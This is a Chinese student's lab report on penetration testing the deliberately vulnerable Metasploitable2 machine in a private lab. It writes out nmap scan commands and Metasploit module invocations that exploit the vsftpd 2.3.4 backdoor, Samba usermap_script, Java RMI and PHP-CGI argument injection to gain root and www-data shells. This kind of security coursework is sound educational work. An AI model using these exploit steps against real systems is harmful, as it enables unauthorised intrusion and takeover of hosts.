#20232408 2025-2026-1 《网络与系统攻防技术》实验六实验报告

一、实验内容

1.1 实验要求

1.1发现Metasploitable2靶机,并对其进行端口扫描、漏洞扫描;

1.2利用Vsftpd源码包后门漏洞;

1.3利用SambaMS-RPC Shell命令注入漏洞;

1.4利用Java RMI SERVER命令执行漏洞;

1.5利用PHP CGI参数执行注入漏洞。

二、实验目的

通过端口扫描发现靶机漏洞,掌握metasploit的用法,实现多种漏洞的渗透利用。

三. 基础环境

kali虚拟机,具体配置如下:

image

Metasploitable2虚拟机,具体配置如图:
image

四. 实验过程与分析

4.1 前期渗透
** 4.1.1 主机发现**

使用ifconfig查看靶机ip地址:

image

在kali虚拟机中打开msfconsole,执行ARP扫描,具体命令如下,如图所示:
search arp_sweep

use 0 #使用arp_sweep模块

set RHOSTS 192.168.116.0/24

run
8ede192085fd700e5c9576539854dc66

从扫描结果来看,靶机处于在线状态,且标识为VMware, Inc.,说明这是一台VMware虚拟机。如图所示:

8ede192085fd700e5c9576539854dc66

4.1.2 端口扫描

使用nmap进行端口扫描,通过命令nmap -sS -sV 192.168.116.131进行SYN扫描并进行版本探测。根据nmap的扫描结果,可以看出,靶机上开放了大量的端口,同时存在有很多漏洞,如图所示:

422a0eca68d98e4ddd920ef26b07575d

在Metasploit中使用portscan/tcp扫描,同样能够扫描到靶机开放的端口。具体命令如下,如图所示:

 use auxiliary/scanner/portscan/tcp 
 set RHOSTS 192.168.116.131
 set THREADS 10 
 run ```

![2e4616ad8146f9a1818be18b88b60dc2](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117173625275-425657503.png)

** 4.1.3 漏洞扫描**

 通过nmap -script=vuln 192.168.116.131对靶机进行漏洞扫描。扫描结果发现靶机上存在大量漏洞。

    对于21端口的FTP服务存在vsFTPd 2.3.4版本后门漏洞(CVE-2011-2523),可直接获取root权限,属于高危漏洞。如图所示:

![fe55da1cc405575990c569cd7be089d2](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117173805434-2089067211.png)

从上图可以分析出来25端口的SMTP服务存在匿名Diffie-Hellman密钥交换漏洞和DHE_EXPORT降级漏洞。其中匿名Diffie-Hellman密钥交换漏洞会导致中间人攻击,破坏通信的机密性和完整性。DHE_EXPORT降级漏洞因为它支持TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA弱密码套件,使得攻击者可将加密强度降级至512位导致敏感信息泄露。

 对于1099端口的远程方法调用服务存在漏洞,RMI注册表的默认配置允许从远程URL加载类,可导致远程代码执行。如图所示:

![394b91b4e25db431c3b802214f61cf84](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117174040706-1286576383.png)

对于5432端口的PostgreSQL数据库存在Diffie-Hellman密钥交换强度不足,CCS注入漏洞以及POODLE漏洞。这些漏洞使得攻击者能够解密数据库通信,劫持TLS会话,最终解密数据。如图所示:

![394b91b4e25db431c3b802214f61cf84](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117174040706-1286576383.png)

对于6667端口的IRC服务存在UnrealIRCd后门。该漏洞使得攻击者可以直接获取系统权限。如图所示:

![ff0da61b1d0db69db4cd2b3220bd7182](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117174222887-1597416713.png)

**4.2 Vsftpd源码包后门漏洞(21端口)**

 通过命令nmap -sV -p 21 192.168.116.131 扫描靶机的21端口,查看该端口是否开启以及其上运行的服务与版本。该端口开放,且运行的是vsftpd 2.3.4。如图所示:

![image](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117174729179-2017321821.png)

![image](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251117174657131-567745319.png)

利用vsftpd 2.3.4版本后门漏洞可以获得靶机的shell。能够查看当前路径以及目录中的文件,查看当前用户发现为root用户。

**4.3 SambaMS-RPC Shell命令注入漏洞(端口139)**
    通过命令nmap -p 139 192.168.119.131扫描靶机的139端口,查看该端口是否开放。如图所示:

![f7216cbefcf3da9cd1a3f5fd0a371e8f](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123111810101-246304871.png)

可以看到端口是开放的。

使用Metasploit框架利用Samba服务的usermap_script漏洞。具体命令如下:

use exploit/multi/samba/usermap_script #Samba服务的usermap_script漏洞
set RHOST 192.168.116.131 #设置目的IP
run


如图所示,可以执行Linux命令,我这里执行了ls:

![525137039291647e3eeef0df4c801f45](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123111927741-489487741.png)

** 4.4 Java RMI SERVER命令执行漏洞(1099端口)**

    通过命令nmap -p 1099 192.168.116.131扫描靶机的1099端口,查看该端口是否开放。如图所示:

![df36cab69d98176499d8ef0e0fa51736](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123112012694-1480671823.png)

可以看到端口是开放的。

 使用Metasploit框架利用Java RMI服务的远程代码执行漏洞。具体命令如下:

use exploit/multi/misc/java_rmi_server #Java RMI服务的远程代码执行漏洞
set RHOST 192.168.116.131 #设置目的IP
run


结果如图所示:

![91cc18c73cb8ec9215251f088e48dc36](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123112052848-81538889.png)

![e384163f2f9d8d3af458f0bab3a82167](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123112143970-1988407665.png)


** 4.5 PHP CGI参数执行注入漏洞(80端口)**
    通过命令nmap -p 80 192.168.116.131扫描靶机的80端口,查看该端口是否开放。得知端口开放,使用如下命令:

use exploit/multi/http/php_cgi_arg_injection #PHP-CGI的参数注入漏洞
set RHOST 192.168.116.131 #设置目的IP
run


如图所示:

![0e1bf7046d106f7534149dc654e5ef0d](https://img2024.cnblogs.com/blog/3264598/202511/3264598-20251123112230866-731582493.png)

我们输入shell,可以切换到交互式Shell中。此实能够查看目标主机的完整系统信息,当前路径以及目录中的文件。查看当前用户发现为www-data用户。

#**五. 问题以及解决**
  
1.一开始无法ping通靶机的ip。我重新安装了一次靶机,就可以ping通靶机了。

#**六、实验体会**
  
   本次 Metasploitable2 靶机渗透测试实验,不仅让我系统掌握了渗透测试的核心流程与 Metasploit 框架的实操技巧,更对网络安全的攻防逻辑与重要性形成了直观且深刻的认知。实验开展得十分顺利,靶机安装便捷,所需环境也在前序实验中已完成配置,为实操环节奠定了良好基础。

  实验核心围绕 Metasploit 攻击渗透实践展开,我重点实践了信息收集的完整流程:借助 Metasploit 的 arp_sweep 模块精准定位靶机,通过 portscan/tcp 模块排查开放端口,再结合 nmap 的版本扫描与漏洞扫描功能,逐步勾勒出靶机的安全态势与攻击蓝图。在漏洞利用阶段,我针对不同端口的经典漏洞进行了实操验证——从 21 端口 vsFTPd 的“笑脸后门”,到 139/445 端口 Samba 服务的命令注入,再到 1099 端口 Java RMI 的远程代码执行,尽管不同端口对应的攻击模块存在差异,但整体均遵循模块调用、参数配置、攻击执行的固定逻辑,这让我对 Metasploit 框架的使用规律有了清晰把握。

  此次实验虽然操作流程并不复杂,且能按指导完成任务,但我意识到自己在理解层面仍有不足,有时过于依赖教程步骤,缺乏对每一步操作背后的原理与目的的深入思考。通过实验我更清晰地认识到,攻击与防御本就是相辅相成的整体——靶机作为刻意搭建的脆弱环境,集中暴露了日常网络中常见的安全隐患,如弱口令、未及时更新的软件、宽松的权限配置等。在数字化时代,网络安全已成为不可或缺的重要防线,未来我计划在完成系列实验后,重新梳理所学内容,深化对渗透测试核心逻辑的理解,通过持续学习与独立思考精进技能,在攻防对抗中真正掌握主动,为网络安全保驾护航。
posted @ 2025-11-23 11:29  20232408-李易骋  阅读(9)  评论(0)    收藏  举报